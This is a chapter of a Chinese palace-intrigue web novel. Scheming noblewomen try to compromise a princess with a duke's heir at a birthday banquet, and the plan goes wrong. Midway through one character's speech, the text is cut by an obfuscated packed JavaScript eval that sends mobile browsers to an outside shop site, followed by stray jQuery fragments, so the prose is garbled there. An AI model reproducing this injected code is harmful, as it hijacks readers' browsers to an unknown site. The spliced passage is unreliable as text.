且说温沅芷这边,李南初在长平长公主戏谑的眼神下离开宴席后,便久久未归,直到宴席接近尾声,依旧不见踪影。
她在宴席上扫视一圈,见徐伊人也不在,侧头,对碧玉轻声道:“你去寻一下阿初。”
碧玉点头应了一声,沿着李南初离开的方向寻去,过了许久,葛老太君声称自己身体不适,向长平长公主和温沅芷告罪休息,在二人目送下,一面叮嘱葛大夫人照顾好贵客,一面离开坐席。
碧玉回来,负在温沅芷耳边道:“二少夫人告诉奴婢,公主已经带着侍卫安全离开了,请郡君放心。”
温沅芷蹙眉,看样子真出事了,否则阿初不会不辞而别。
“另外,”徐伊人怕温沅芷不信,让碧玉还带了一句话,碧玉声音放得更低,“二少夫人说,让郡君接下来依着长平长公主的意思,去院子里转转。”
温沅芷眉心紧蹙,微微颔首。
长平长公主的目光一直悄悄放在温沅芷的身上,见她不动声色地唤碧玉去寻人,见碧玉回来说了几句话后,她眉头紧锁,不由得得意地笑了,道:“阿芷妹妹,这酒也喝够了,不如一起去园子里逛逛,消消食,醒醒酒,如何?”
温沅芷眉头一松,挑眉看向长平,“好啊,正好,我也想去瞧瞧。”
葛大夫人喜道:“正好前几日,府里花匠新培植了几株君子兰,就在后花园,我带大家一起去。”
还有几个微醺的命妇应和,大家离开坐席,携手向后花园走去。
葛府的后花园距离不远,长平长公主却在半道上,被嬷嬷拦住。
先前悄声离开的嬷嬷脚步匆匆回到葛府,听下人说长公主和一众命妇前往后花园,她心知长公主今日要做什么,但眼下顾不得其他,向葛府的下人打听后花园的方向,便寻了过去。
众位命妇正在欣赏君子兰,葛大夫人没有夸大其词,正直盛夏,他家的君子兰却开的如火如荼,青绿的叶子托起艳丽的花瓣,姿态端庄且优雅。
嬷嬷走到长平长公主身边,不动声色地行礼,长平长公主侧目看她一眼,只见嬷嬷轻轻地摇了摇头。
长平长公主笑着向温沅芷点了一下头,向一旁走去,冷声道:“怎么回事?”
嬷嬷低声回禀,“秦妈妈不见了,就连驻守在回春楼前后的侍卫,也都联系不上。”
长平长公主倏地转头,盯着嬷嬷,一时间竟没回味过来,“什么意思?”
“殿下,郡君看过来了,”嬷嬷与向这边撇来一眼的温沅芷点头行礼,提醒长平道,等长平稍作镇定,温沅芷的视线移开后,她继续道:“柳月梅说,从昨夜开始就没见过秦妈妈,而且,早上芙蓉替秦妈妈将要找秦妈妈的姑娘们全都挡了回去。依奴婢看,芙蓉一定是在遮掩什么,只怕郡君说的那番话并不是从陶宇成嘴里得知的。”
长平长公主眼神冰冷得像淬了毒,冷声道:“你立刻去把芙蓉叫回府里。”想想不对,“只怕她现在听了本宫的传唤也不敢出来,本宫现在就回府,你去找齐藤,让他派人去把芙蓉给我带来。”
齐藤便是京兆尹的名字,表面上在朝中并无靠山,只顾左右逢源,趋炎附势,实则暗地里早已投靠了长平长公主。
嬷嬷看了眼温沅芷的背影,向长平长公主示意,“那这边?”
长平长公主只犹豫了一瞬,便道:“任由葛家处置吧。”
“奴婢去和大夫人说。”嬷嬷说完,向葛大夫人走去,低声说了几句,便和长平长公主一起悄声离开。
有位夫人笑着道:“出来这么长时间,都有点渴了,不如去喝点茶?”
葛大夫人笑着回应:“茶室就在这附近,倒不必舍近求远了。”
温沅芷转身一看,这才发现长平长公主不知何时已经离开,她也想离开,但葛大夫人走到她面前,邀请众人,率先道:“听说郡君爱茶,我家伊人特意寻了各种茶来,不如今日就让郡君给大家说道说道这不同的茶有何不同的好处?”
京都爱喝茶的命妇有许多,想与清阳郡君攀交情的人也有很多,但今日清阳郡君不是和长乐长公主一起,便是和长平长公主在一起,这二位主都不是她们愿意接近的。
前者在京都的地位不稳,说不定哪一日又被送去和亲,就怕随意亲近会给自家招来一身骚,后者行事作风狂狷放浪,为这些命妇所不齿,她们不屑于同流合污。
听葛大夫人如此说,便是知道喝茶的好处,也不肯放过此等难得的机会与郡君攀交情。
“我家老爷也说喝茶好,可惜我是个粗人,只会跟着喝,却说不出个一二来,郡君见识广博,与大家说说,我正好偷听几句,也好回去跟我家老爷显摆显摆。”
“早知道,我将我家前几日新得的茶送来给二少夫人,今日也让郡君品鉴一番。”
“那我今日可就献丑了,前不久正巧送给二少夫人一盒霍山银针,今日便听听郡君说的。”
众人热情似火,温沅芷不好此刻说离开,笑着回应大家:“品鉴不敢当,不过和大家一起喝一杯倒是可以,大夫人,请。”
葛大夫人见自己要的效果达到,眼珠一转,“就是喝一杯,大家随我来。”
后花园侧面有一处无门的院落,京都达官显贵的花园几乎都有如此设计,专门用来临时休息,众人向前走去。
这是,忽然从侧面闯出一个人,温沅芷一看,竟是朱逾白。
“雍国公世子?你——怎么在这?”葛大夫人惊呼,有些失态地惊叫。
众位命妇互相看了看,这里是后花园,世子过来并不奇怪,只是怎么弄得有些狼狈?
温沅芷目视一周,不知何时,徐伊人进了院子,站在众位命妇的最后面,不动声色地观望。
朱逾白一手扶墙,一手撑腰,看了一眼面前的众人,做出头痛状,道:“这是哪里?啊,哦,我喝多了,想去出恭来着,怎么走到这里了?大夫人吗?你府上这个路太绕了,一个侍女也没有,好不容易问到一个,还带错路,竟把我带到这里人就跑了。”
葛大夫人脸色变得五彩纷呈,扯出一抹笑,道:“今日府上照顾不周,请世子见谅,来人,去扶世子去客房休息。”
朱逾白却摆手,“去什么客房啊,这不就是现成的屋子吗
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13188990|130312||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
?没关系,本世子方才已经出过恭,就近休息片刻就好。”
葛大夫人面色大惊,朝侍女使个眼色,她的贴身侍女知道夫人今日打算,见事出意料,也乱了分寸,慌忙上前一步,拦住朱逾白,“世子,这里是夫人们休息的地方,您在这里不合适,啊——”
朱逾白一掌挥开侍女,“你算什么东西,敢拦在本世子面前?”
他喝多了酒,本就白皙圆润的脸上此刻满是通红,像足了一个耍酒疯的纨绔子弟。
眼神转移到葛大夫人身上,忽然一笑,“没事,客随主便,既然大夫人要让几位夫人在这里休息,那我让出来便是,夫人们,请。”
说罢,朱逾白弯腰,做了一个恭请的姿势。
葛大夫人见他如此做派,顿时心惊肉跳,目光往屋子扫去。
长乐长公主回京都之前,他们和长平长公主就得了消息,长乐长公主向君上进献一支凤钗以及一封求救信,凤钗是先太子妃遗失之物,求救信里说要向君上说一个关系大周江山的秘密。
回京都之前,长乐长公主在凉州逗留数日,与凉州的程树搭上关系,回京都后,洛阳谢氏唯一的青年才俊投在长乐长公主门下,不日后在户部谋得官职,虽官职低微,却是实权,假以时日得以高升,未必不能在京都立足。
清阳温氏是长乐长公主的复活药,谢氏的崛起对长乐长公主来说,是肥沃的土壤,她在回京都得知自己计划落空后,选择蛰伏,暗地里利用谢氏为自己拉拢人脉,悄无声息地植根发芽。
今日寿宴,是长平长公主说要给长乐长公主一个警告,葛府配合长平长公主公主设下此局,将长乐长公主和雍国公世子绑在一起,让京都的命妇们都瞧见,从今以后,京都其他人再不敢接近这位和亲归来的公主,京都将再无第二个谢氏。
至于朱逾白——“一个纨绔的世子,多一桩风流韵事而已,雍国公不会想不开,想要收了这位和亲公主吧?”这是长平长公主当初的原话。
葛大夫人略一想便明白,雍国公佣兵数十万,在大周地位独一无二,世子若迎娶当朝公主,按照律例,驸马不得干政,雍国公的仕途也就到此为止了。
按照计划,此时在屋子里的应该正是长乐长公主和雍国公世子,结果世子在屋外好好的,屋内却一点动静也无,多年深居内宅的葛大夫人立刻嗅到不同寻常的味道,这个屋子决不能进!
“等一下,我忽然想起来,这间屋子不久前才翻修,里面气味浓重,平日里都是开窗通风,也就今日才给闭上,我带大家一起换间屋子去休息,这边请。”
说罢,以主人家的身份,主导性地引导夫人们随她向外走去。
但偏偏,朱逾白就不是一个按照常理出牌的人。
且,既然朱逾白在屋子外,显然已经知道自己被陷害,又哪里肯轻易罢休?
“既然众位夫人不进去,那本世子就不客气了。”说完,不等众人反应,伸手,推开门。
温沅芷双手抱臂,背靠廊柱,听着他故作吃惊的尖叫。
“啊,这里有人,是谁?竟敢在将军府做此等苟且之事!”